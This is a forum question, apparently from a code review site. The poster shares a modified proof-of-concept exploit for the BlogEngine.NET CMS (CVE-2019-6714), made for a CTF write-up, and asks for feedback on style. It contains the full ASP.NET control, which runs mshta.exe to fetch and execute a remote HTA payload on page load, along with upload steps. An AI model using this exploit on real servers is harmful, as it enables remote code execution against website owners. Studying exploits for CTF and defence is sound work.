0
\$\begingroup\$

This is a modified exploit proof of concept targeting the BlogEngine.NET content management system (CVE-2019-6714) for the .NET framework. I modified it (from Cobb 2019) to execute payloads via mshta.exe as opposed to its original implementation: which was to initiate a generic reverse shell via C#'s network socket programming interface. I uploaded the modified version to one of my GitHub repos; here is the source code minus most of the comments:


<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);
        System.Diagnostics.Process payload = new System.Diagnostics.Process();
        payload.StartInfo.FileName = "mshta.exe";
        payload.StartInfo.Arguments = ""; // url to HTA with payload
        payload.StartInfo.UseShellExecute = true;
        payload.StartInfo.CreateNoWindow = true;
        payload.Start();
    }
    
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

Basically, you gain access to the BlogEngine.NET CMS's panel running on the target system and then upload the PoC as PostView.ascx onto the BlogEngine.NET based website. Before doing so, you need to setup a server with an HTA payload and configure the line payload.StartInfo.Arguments = ""; to include a link to the HTA payload.

This was done for a CTF writeup (Aleksey 2022) and I would your feedback on my (albeit unoriginal) exploit. Some things that I would be interested from y'all:

  • Do you feel that I have a good coding style?
  • Whilst this isn't totally original, do you feel that my modified PoC is worth "showing off" or can be used as a case study in exploit development?

Any feedback or criticisms would be much appreciated :D

\$\endgroup\$

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy